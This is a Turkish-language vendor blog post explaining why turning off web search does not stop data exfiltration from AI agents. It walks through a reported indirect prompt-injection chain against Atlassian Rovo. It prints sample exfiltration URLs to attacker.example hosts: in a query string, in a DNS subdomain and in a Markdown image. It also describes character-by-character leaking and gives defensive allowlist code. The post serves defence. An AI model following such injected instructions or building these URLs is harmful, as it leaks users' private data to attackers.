Web Aramasını Kapatmak Yapay Zeka Ajanlarındaki Veri Sızıntılarını Neden Önlemez?

Web aramasını devre dışı bırakmak, yapay zekâ ajanlarındaki veri sızıntılarını engellemez. Ajanlar tarafından oluşturulan URL'lerin, DNS alt alan adlarının ve Markdown görsellerinin verileri nasıl sızdırdığı ve bu açığı kapatan deterministik veri çekme kuralı.

Aiden Flux

Aiden Flux

5 Kasım 2026

Web Aramasını Kapatmak Yapay Zeka Ajanlarındaki Veri Sızıntılarını Neden Önlemez?

Hızlı yanıt: Web aramasını kapatmak yapay zekâ aracılarındaki veri sızıntılarını durdurmaz; çünkü bu anahtar alttaki aracı değil, yalnızca bir özelliği gizler. Aracı hâlâ bir URL açabiliyor, bir görsel işleyebiliyor veya bir bağlayıcıyı çağırabiliyorsa, araya enjekte edilen bir talimat verilerinizi bir isteğin içine yerleştirebilir. Çözüm deterministiktir: Aracı yalnızca bir kullanıcının yazdığı veya güvenilen bir aracın döndürdüğü URL'leri çekmelidir.

Çoğu ekip, web araması anahtarını dışa giden riskler için bir kapatma düğmesi olarak görür. Oysa öyle değildir. Ağustos 2026'da PromptArmor, kuruluş genelinde web araması devre dışıyken bile çalışan bir Atlassian Rovo saldırısı gösterdi ve bunun arkasındaki neden, geliştirdiğiniz veya satın aldığınız tüm aracılar için geçerlidir.

Aşağıda sızıntı kanallarını, yaygın geçici çözümlerin neden başarısız olduğunu ve geçerliliğini koruyan kuralı ele alıyoruz. Kodlama aracılarının ortak bir panodan görev aldığı bir çalışma alanı olan Sharkly'yi geliştiriyoruz; dolayısıyla bu sorular bizim için de geçerli. Prompt injection (komut istemi enjeksiyonu) henüz hiçbir yerde çözülmüş değil; Sharkly'nin çalıştırdığı kodlama aracıları da buna dâhil.

Web araması anahtarı neleri kontrol eder, neleri etmez?

Web araması anahtarı, aracının bir arama motorunu çağırıp çağıramayacağını kontrol eder. Bir URL'yi açıp yanıtını okuyan bağımsız araç hakkında ise hiçbir şey söylemez. Eğer bu veri çekme (fetch) aracı etkin kalırsa, aracı internetteki herhangi bir sunucuya istek göndermeye devam edebilir ve her istek, adresinde veri taşır.

Arama bir bağlantı listesi döndürür. Veri çekme ise bir bağlantıyı alıp HTTP isteği yapar. Veri, kiracınızdan (tenant) veri çekme işlemi sırasında dışarı çıkar.

Rovo bulgusunun özü tam olarak bu boşluktur. PromptArmor'ın teknik yazısında, web araması ayarının "arama sonuçlarını açmaya yarayan aracı devre dışı bırakmadığı" belirtiliyor. Kuruluş yöneticisi aramayı kapattı, ancak veri çekme aracı açık kaldı.

Bir aracı veri sızdırma URL'sini nasıl oluşturur?

Dolaylı komut istemi enjeksiyonu (indirect prompt injection), saldırganın aracının daha sonra okuyacağı bir içeriğin (bir dosya, bilet veya web sayfası) içine talimatlar gizlemesi anlamına gelir. Model, sizin talebiniz ile bu süreçte karşılaştığı metni birbirinden güvenilir şekilde ayırt edemez. PromptArmor'ın aktardığı şekliyle Rovo saldırı zinciri beş adımda gerçekleşir:

  1. Kurban, gizli bir talimat içeren "Backlog Kılavuzu" adında bir dosya yükler.
  2. Daha sonra kurban, Rovo'dan Jira biletlerini düzenlemesini ister.
  3. Rovo, görevin bir parçası olarak Jira ve Confluence'ta arama yapar ve zehirli dosyayı okur.
  4. Enjekte edilen talimat Rovo'ya bilet ve Confluence içeriklerini bir saldırgan URL'sine eklemesini ve bunu URL alma aracıyla açmasını söyler.
  5. Saldırganın sunucusu, veriler dâhil olmak üzere isteği kaydeder (loglar). Kurban ise yalnızca normal bilet önerilerini görür.

Tıklama yok, onay penceresi yok. PromptArmor'ın belirttiği diğer enjeksiyon kaynakları: Destek biletleri, arama açıkken gelen web sonuçları ve üçüncü taraf bağlayıcılar.

Buradaki kritik ayrıntı 4. adımdır. PromptArmor, "aracı tarafından dinamik olarak oluşturulan bir URL'nin açılmasına karşı hiçbir koruma bulunmadığını" bildiriyor. Adresi aracının kendisi yazdığı için bu adres, aracının okuduğu herhangi bir şeyi içerebilir.

Veri sızdırma URL'si neye benzer?

Yer tutucu bir alan adıyla bu yapı şu şekildedir:

https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri

Saldırgan, erişim kayıtlarında (access log) d= parametresini okur. Aracı, veri çekme aracının varlık amacı olan tek bir GET isteğinde bulunmuştur.

Sorgu parametrelerini temizlemek neden işe yaramaz: Alt alan adı ve DNS sızıntıları

Bir URL'deki ? kısmını filtrelemek çoğu kişinin başvurduğu ilk yamadır. Ancak işe yaramaz. Hacker News tartışmasında (306 puan, 138 yorum) Simon Willison, joker karakterli (wildcard) DNS sayesinde verinin ana makine adında (hostname) taşınabileceğine dikkat çekti:

https://cHJvZCBkYiBjcmVkcw.attacker.example/

Saldırganın DNS sunucusu tüm alt alan adlarına yanıt verir ve her sorguyu kaydeder. Veri, herhangi bir HTTP isteği tamamlanmadan önce, ad çözümleme (name resolution) sırasında dışarı sızar. Başka bir yorumcu ise verinin kimlik bilgisi (credentials) alanı dâhil olmak üzere herhangi bir URL bileşenine gizlenebileceğini belirtti.

Dolayısıyla kural "URL'yi temizle" olamaz. Willison'ın ifadesiyle asıl sorun, "dinamik olarak hiçbir şekilde URL oluşturulamaması gerektiğidir."

Markdown görsel kanalı

Bazı aracıların veri sızdırmak için bir veri çekme aracına bile ihtiyacı yoktur. Sohbet arayüzü harici alan adlarından gelen Markdown görsellerini işliyorsa (render ediyorsa), model yanıtına şunu yazabilir:

![status](https://img.attacker.example/p.png?d=PROJ-412-summary)

Kullanıcının tarayıcısı görseli yükler ve isteği gönderir. Kimsenin bir şeye tıklaması gerekmez. PromptArmor, Rovo'nun yapay zekâ çıktılarında Markdown görsellerini işlediğini belirtiyor ve teknik yazısında buna dair ayrı bir Rovo saldırı zinciri sunmasa da bunu bilinen bir veri sızdırma vektörü olarak nitelendiriyor.

Bu kanal işleme (rendering) katmanında yer alır; dolayısıyla hiçbir aracı aracı ayarı buna etki edemez.

"Yalnızca önceden dizine eklenmiş URL'ler" kuralı neden karakter karakter sızıntıya yol açar?

Önerilen hafifletme yöntemlerinden biri, aracının yalnızca bir arama motoru botu tarafından daha önce dizine eklenmiş URL'leri açmasına izin vermektir. Bir saldırgan sizin gizli bilginizi içeren bir URL'yi önceden dizine ekletemez; çünkü bu gizli bilgi daha önce herkese açık şekilde mevcut değildi.

Johann Rehberger (Hacker News'te wunderwuzzi23), bunun nasıl aşılabileceğini açıkladı. Bir saldırganın /a'dan /z'ye kadar her karakter için bir sayfa yayınlayıp bunları dizine eklettiğini hayal edin. Enjeksiyon talimatı, aracıya gizli bilginin her karakteri için sırayla ilgili sayfayı ziyaret etmesini söyler. Saldırgan da sunucu kayıtlarındaki istek sırasını okuyarak veriyi elde eder.

Bu yavaş ve gürültülü bir yöntemdir. Ancak yine de çalışır. Rehberger'in özeti şu: Atılan her adım saldırıları imkânsız kılmaz, yalnızca daha maliyetli hâle getirir. Yine de belirli bir amaca hizmet eden aracılar için alan adı izin listelerini (allowlist) etkili bulduğunu, zira saldırganın kontrolündeki uç noktaları doğrudan engellediğini belirtti.

Deterministik kural: Yalnızca bir kişiden veya güvenilen bir araçtan gelen URL'leri çekin

İşe yarayan kesin çözüm, modelden daha dikkatli olmasını istemez. Aracının hedefi seçme yeteneğini tamamen elinden alır:

  • İzin verilen: Kullanıcının sohbete doğrudan yazdığı bir URL.
  • İzin verilen: Arama sonucu gibi güvenilen bir aracın birebir döndürdüğü bir URL.
  • Engellenen: Modelin birleştirdiği, düzenlediği veya uzattığı herhangi bir URL.

Bunu modelin dışındaki kod katmanında zorunlu kılarsınız. Sohbete güvenilen kaynaklardan giren URL'lerin bir kümesini tutun ve bu kümede tam eşleşmesi bulunmayan her veri çekme isteğini reddedin:

allowed_urls: set[str] = set()

def on_user_message(text: str) -> None:
    allowed_urls.update(extract_urls(text))

def on_search_results(results: list[dict]) -> None:
    allowed_urls.update(r["url"] for r in results)

def fetch(url: str) -> str:
    if url not in allowed_urls:
        raise PermissionError(f"blocked agent-built URL: {url[:60]}")
    return http_get(url)

İki kısıt söz konusudur: Bu denetim görsel kanalını kapsamaz; bu yüzden işlenen çıktılarda harici görselleri engellemeye devam etmeniz gerekir. Ayrıca güvenilen bir araç saldırganın belirlediği listeleri döndürebiliyorsa, karakter karakter sızdırma numarasını da durduramaz. Bu nedenle belirli görevlere odaklanan aracılarda ek olarak bir alan adı izin listesi kullanılmalıdır.

Bu, Willison'ın ölümcül üçlü (lethal trifecta) tanımının bir uygulamasıdır: Gizli veri, güvenilmeyen içerik ve dışa giden bir kanal. İşe yarar bir aracıdan ilk ikisini çıkaramazsınız; ancak üçüncüyü deterministik hâle getirebilirsiniz. OWASP'ın prompt injection'ı LLM01 olarak sıralamasının nedeni de budur: Model tarafındaki hiçbir çözüm tam anlamıyla yeterli değildir.

Aracı geliştiren veya satın alan herkes için kontrol listesi

Özel verilere erişimi olan her aracı için şu soruları sorun:

  1. Ağ isteği yapabilen her aracı listeleyin: Veri çekme (fetch), tarayıcı, bağlayıcılar, webhook'lar, e-posta.
  2. Her bir ayar anahtarı aracı tamamen kaldırıyor mu, yoksa yalnızca onu kullanan bir özelliği mi gizliyor?
  3. Aracı, kendi oluşturduğu bir URL'yi açabiliyor mu?
  4. Harici Markdown görselleri çıktıda işleniyor mu?
  5. Bir alan adı izin listesi var mı ve bunu kim kontrol ediyor?
  6. Hangi kaynaklar enjeksiyon yapabilir: Yüklenen dosyalar, biletler, web sonuçları, bağlayıcılar?
  7. Tedarikçi son harici güvenlik raporuyla ilgili ne yaptı ve ne kadar hızlı aksiyon aldı?

Rovo için kamuya açık zaman çizelgesi 7. soruyu yanıtlıyor: PromptArmor güvenlik açığını 23 Mayıs 2026'da bildirdi, Atlassian 25 Mayıs'ta alındığını onayladı, 4 Haziran ve 29 Temmuz'daki takip mesajları yanıtsız kaldı ve 5 Ağustos'ta Rovo hâlâ savunmasız durumdayken rapor yayımlandı. [DOĞRULAMA 2026-10-27: Bu yol için herhangi bir Atlassian düzeltmesi veya açıklaması bulunamadı; yayımlamadan önce tekrar kontrol edin.]

Atlassian'ın kodlama aracısı olan Rovo Dev'in, bu bulgudaki Rovo asistanından ayrı bir ürün olduğunu unutmayın; Rovo Dev ücretsiz planı hakkındaki yazımız bu konuyu ele almaktadır.

Bu durum Sharkly'deki kodlama aracıları için ne anlama geliyor?

Kodlama aracıları gün boyu güvenilmeyen metinleri okur: Sorun (issue) açıklamaları, README dosyaları, çekilen sayfalar. Sharkly, Claude Code veya Codex'i bunlara karşı bağışık kılmaz.

Sharkly'nin değiştirdiği şey, dışa giden sınırların kime ait olduğudur. Aracılar, yerel bir hizmet aracılığıyla kendi Bilgisayarlarınızda (Computers) çalışır. Computers belgelerinde, Bilgisayarın "bir Aracının ihtiyaç duyduğu işletim sistemini, dosyaları, kimlik bilgilerini, ağ erişimini ve araçları sağladığı" belirtilmektedir. Bir Bilgisayarı giden trafik (egress) izin listesinin arkasına aldığınızda, hangi aracı çalışırsa çalışsın üzerindeki her çalıştırma bu kısıtlamayı devralır.

Belgelerden birkaç diğer sınır:

  • Konuklar yalnızca eklendikleri Alanları (Spaces) görür.
  • Üçüncü taraf uygulamalardaki eylemler yetkilendirilmiş bir bağlayıcı gerektirir.
  • Skills belgeleri, parolaların, belirteçlerin (token) veya anahtarların Yetenek (Skill) talimatlarında ya da dosyalarında kesinlikle saklanmaması gerektiğini belirtir; böylece ele geçirilmiş bir aracı bunları oradan okuyamaz.

Bunların hiçbiri, bir aracının zaten sahip olduğu erişimi kötüye kullanmasını engellemez. Bu sınırların nereye çizileceğini kodlama aracısı izinleri, onay kapıları (approval gates) ve prompt injection güvenlik bariyerleri hakkındaki yazılarımızda ele alıyoruz.

Sonuç

Web araması anahtarı bir güvenlik kontrolü değil, bir ürün ayarıdır. Veri, istek yapabilen herhangi bir yolla dışarı çıkar: Bir veri çekme aracı, bir ana makine adı sorgusu veya bir görsel etiketi. Bu yolları modelin dışında, kod düzeyinde kapatın.

Sıradaki adımınız: Ekibinizin kullandığı bir aracı üzerinde bu hafta 3. sorudan başlayarak yedi soruluk kontrol listesini uygulayın. Kodlama aracılarını birden fazla Bilgisayarda çalıştırıyorsanız, Sharkly'yi kurun ve her birini hâlihazırda güvendiğiniz giden trafik kurallarının arkasına alın.

SSS

Web aramasını kapatmak prompt injection'ı durdurur mu?

Hayır. Prompt injection; yüklenen dosyalar, biletler ve bağlayıcı verileri dâhil olmak üzere aracının okuduğu herhangi bir içerikten gelebilir. Aramayı kapatmak güvenilmeyen içerik kaynaklarından yalnızca birini ortadan kaldırır; ancak enjeksiyon diğer yollardan gelmeye ve bir veri çekme aracı vasıtasıyla dışarı sızmaya devam edebilir.

URL tabanlı veri sızdırma nedir?

Bir aracının özel verileri bir URL'nin içine yerleştirip bu URL'ye istek göndermesidir. Saldırganın sunucusu isteği kaydeder ve veriyi okur. Bunun için herhangi bir kötü amaçlı yazılıma gerek yoktur; yalnızca rastgele URL'ler oluşturup açabilen bir aracı yeterlidir.

Markdown görselleri yapay zekâ sohbetlerinde bir güvenlik riski midir?

Arayüz harici alan adlarından gelen görselleri işliyorsa evet. Tarayıcı görsel URL'sini otomatik olarak çeker; böylece modelin URL içine yazdığı tüm veriler tek bir tıklama bile gerekmeden saldırgana ulaşır.

Alan adı izin listesi tek başına yeterli mi?

Yalnızca birkaç alan adına ihtiyaç duyan dar kapsamlı bir aracı için izin listesi mevcut en güçlü kontroldür. Genel amaçlı bir asistan içinse bu listeyi sıkı tutmak zordur; bu nedenle bunu, aracının kendi oluşturduğu hiçbir URL'yi çekmemesi kuralıyla birlikte uygulayın.

Atlassian, Rovo veri sızdırma sorununu çözdü mü?

27 Ekim 2026 itibarıyla PromptArmor'ın yayımladığı bu açık için Atlassian tarafından yapılmış herhangi bir açıklama veya doğrulanmış bir düzeltme bulamadık. Güncellemeler için PromptArmor'ın sayfasını ve Atlassian'ın güvenlik duyurularını kontrol edin.

Daha fazlasını keşfedin

Gemini Omni 1.2 Flash API: Video Üretimini Ajanlarınızın Yürütebileceği Bir Göreve Dönüştürün

Gemini Omni 1.2 Flash API: Video Üretimini Ajanlarınızın Yürütebileceği Bir Göreve Dönüştürün

Gemini Omni 1.2 Flash API'sini takip edilen bir ajan çalışması olarak yürütün: Çağrı yapısı, brief, referans materyalleri, çok turlu düzenlemeler ve bir klip yayına alınmadan önceki insan incelemesi.

6 Kasım 2026

ChatGPT Images 2.6 ile Marka Maskotunuzu Nasıl Canlandırırsınız?

ChatGPT Images 2.6 ile Marka Maskotunuzu Nasıl Canlandırırsınız?

Marka maskotunuzu ChatGPT Images 2.6 ile canlandırın: Test edilmiş bir sprite sheet prompt'u, kusursuz bir döngü için kare hizalama ve ekip içi inceleme iş akışı.

6 Kasım 2026

Daha Ucuz Bir Model Ne Zaman Daha Pahalıya Mal Olur: Ajan Çalıştırmalarını Kabul Edilen Değişiklik Başına Fiyatlandırın

Daha Ucuz Bir Model Ne Zaman Daha Pahalıya Mal Olur: Ajan Çalıştırmalarını Kabul Edilen Değişiklik Başına Fiyatlandırın

Milyon token başına 0,10 dolarlık fiyatıyla GPT-6 Luna, deneme maliyetini düşürürken kullanıma sunulan her değişiklik başına deneme sayısını, çıktıyı ve alınan kararları artırıyor. Ajan çalıştırmalarını token başına değil, kabul edilen değişiklik başına fiyatlandırın.

6 Kasım 2026